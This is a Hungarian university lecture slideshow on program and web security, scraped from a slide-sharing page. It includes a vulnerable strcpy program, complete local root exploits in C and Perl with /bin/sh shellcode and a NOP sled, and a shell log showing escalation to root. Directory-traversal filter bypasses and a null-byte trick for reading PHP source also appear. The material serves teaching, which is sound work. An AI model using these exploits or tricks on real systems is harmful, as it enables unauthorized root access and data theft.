Az előadás letöltése folymat van. Kérjük, várjon

Az előadás letöltése folymat van. Kérjük, várjon

Széchenyi Isván Egyetem Számítógépes hálózatok II 1 Számítógépes Hálózatok II Széchenyi István Egyetem.

Hasonló előadás


Az előadások a következő témára: "Széchenyi Isván Egyetem Számítógépes hálózatok II 1 Számítógépes Hálózatok II Széchenyi István Egyetem."— Előadás másolata:

1 Széchenyi Isván Egyetem Számítógépes hálózatok II 1 Számítógépes Hálózatok II Széchenyi István Egyetem

2 Széchenyi Isván Egyetem Számítógépes hálózatok II 2 Programhibák Környezeti változó Temp fájl/könyvtár hibás kezelése I/O hiba A fent említett hibák megléte jelentősen csökkenti a rendszer biztonsági szintjét

3 Széchenyi Isván Egyetem Számítógépes hálózatok II 3 I/O kezelés Ellenőrzött INPUT!! Ellenőrzött OUTPUT!! Input adat megfelelő kezelése,memóriában való mozgatása Nem megfelelően kezelt I/O adatok nagy veszélyt jelenthetnek olyan programok Esetén, melyek magasabb privilégiummal futnak, mint a felhasználó jogosultságai

4 Széchenyi Isván Egyetem Számítógépes hálózatok II 4 Stack Overflow Hiba alapja a nem megfelelő memóriamozgatás Segítségével bármilyen kód végrehajtható Kihasználásához speciális körülmények szükségesek A technika és a hiba nagyon régi, mégis a mai napig megtalálható a rendszerekben. Rengeteg szervert és hálózatot törnek fel ezen technika alkalmazásával

5 Széchenyi Isván Egyetem Számítógépes hálózatok II 5 Stack Overlow alapok Memória felépítés (Verem,kód,adat szegmens) Verem felépítése,működése (LIFO) Milyen adatok vannak a veremben? átmeneti adatok környezeti változók, paraméterek rendszerváltozók ugrási táblázatok….

6 Széchenyi Isván Egyetem Számítógépes hálózatok II 6

7 7 Fontosabb regiszterek ESP (Stack Pointer, x86 architektúrán a stack tetejére mutat) EBP (függvények helyi változói,paraméterek,visszatérési cím(!!)) EIP (köv. végrehajtandó byte(!!)) A hiba megtalálása nagyon egyszerű, már létezik olyan fordító, mely észre is veszi a lehetséges veszélyeket

8 Széchenyi Isván Egyetem Számítógépes hálózatok II 8 Hiba kihasználása Etikus/etikátlan Shellcode (kritériumok) Esély növelése (NOP)

9 Széchenyi Isván Egyetem Számítógépes hálózatok II 9 Hackeljünk!

10 Széchenyi Isván Egyetem Számítógépes hálózatok II 10 Hibás példaprogram #include int main(int argc,char **argv){ char buf[256]; if(argc < 2) { printf("Usage: %s \n",argv[0]); exit(-1); } strcpy(buf,argv[1]); /* Boooom */} }

11 Széchenyi Isván Egyetem Számítógépes hálózatok II 11 /* c0dEd bY Depth fR0m HB S3CurTy tEAm*/ #include #define NOP 0x90 #define LEN 2048 #define RET 0xbffff000//0xbffffd18 int main(int argc, char **argv){ char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08„ "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0„ "\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; char buffer[LEN]; long addr = RET; int i;addr+=atoi(argv[1]); for(i=0;i<(LEN - sizeof(shellcode));i++){ *(buffer+i)=NOP; } for(i=0;i<300;i+=4){ *(long *)&buffer[i]= addr; } memcpy(buffer+(LEN-sizeof(shellcode)),shellcode,sizeof(shellcode)); execl("./test1","HBST exploit",buffer,0); return 0; } Biztonsági Audit C nyelven

12 Széchenyi Isván Egyetem Számítógépes hálózatok II 12 Biztonsági Audit Perl Nyelven #!/usr/bin/perl # Coded By Depth from HB Security Team $shellcode = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c"; $shellcode.="\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d"; $shellcode.= "\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde"; $shellcode.= "\xff\xff\xff/bin/sh"; $nop= "\x90"; $ret= 0xbffff000; $len=2048; $new_ret=pack("l",($ret + $ARGV[0])); for ($i=0; $i<$len; $i+=4) { $buffer.= $new_ret; } for($i=0;$i< $len - length($shellcode)-100;$i++){ $buffer.= $nop; } $buffer.= $shellcode; exec("./test1",$buffer,0);

13 Széchenyi Isván Egyetem Számítógépes hálózatok II 13 Hiba kihasználása srv-halx:/tmp$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) srv-halx:/tmp$ for i in `seq `;do./expl1.pl $i;done ………………………… Trace/breakpoint trap Illegal instruction Segmentation fault Illegal instruction Trace/breakpoint trap Illegal instruction Trace/breakpoint trap Illegal instruction sh-2.05a# id uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup) sh-2.05a#

14 Széchenyi Isván Egyetem Számítógépes hálózatok II 14 Webes biztonság Problémák: Nagy, összetett rendszerek Nem ellenőrzött INPUT Nem megfelelő jogosultságok Biztonság alapvető hiánya A problémák az egyszerű oldalaktól a bonyolult webes áruházakig megtalálhatók

15 Széchenyi Isván Egyetem Számítógépes hálózatok II 15 Könyvtárak, fájlok hibás kezelése I Legegyszerűbb eset: Az adatok.txt helyére bármilyen fájlt megadhatunk aminek olvasásához a httpd-nek Joga van.

16 Széchenyi Isván Egyetem Számítógépes hálózatok II 16 Könyvtárak, fájlok hibás kezelése II Kicsit „biztonságosabb” eset: Megfelelő védelmet nyújt minden esetben a teljes META karakterkészlet szűrése

17 Széchenyi Isván Egyetem Számítógépes hálózatok II 17 Könyvtárak, fájlok hibás kezelése III Preg_replace() függvény kiszűri a../ karaktereket a fájlnévből. Trükk: …/…//…/…//file_amit_akarok Átalakítás:.../ ->. …// ->./

18 Széchenyi Isván Egyetem Számítógépes hálózatok II 18 Saját script futtatása Probléma: A probléma kihasználásának feltételei: egy szerver, melyen nincs php futtatási lehetőség saját script Ettől kezdve összetett programokat, exploitokat lehet futtatni melyek segítségével Akár Adminisztrátori szintre is lehet törni a célszervert.

19 Széchenyi Isván Egyetem Számítógépes hálózatok II 19 NULL byte Hexában %00 Mit jelenthet? (gondoljunk a C programozásra) Csak a meghatározott kiterjesztésű fájlokat lehet megnyitni: index.php%00.txt // index.php forrása!!

20 Széchenyi Isván Egyetem Számítógépes hálózatok II 20 Befejezés? Törekedjünk legalább a minimális biztonságra A lista nem teljes… Biztos, hogy hozzánk nem törtek be?

21 Széchenyi Isván Egyetem Számítógépes hálózatok II 21 Köszönöm a figyelmet


Letölteni ppt "Széchenyi Isván Egyetem Számítógépes hálózatok II 1 Számítógépes Hálózatok II Széchenyi István Egyetem."

Hasonló előadás


Google Hirdetések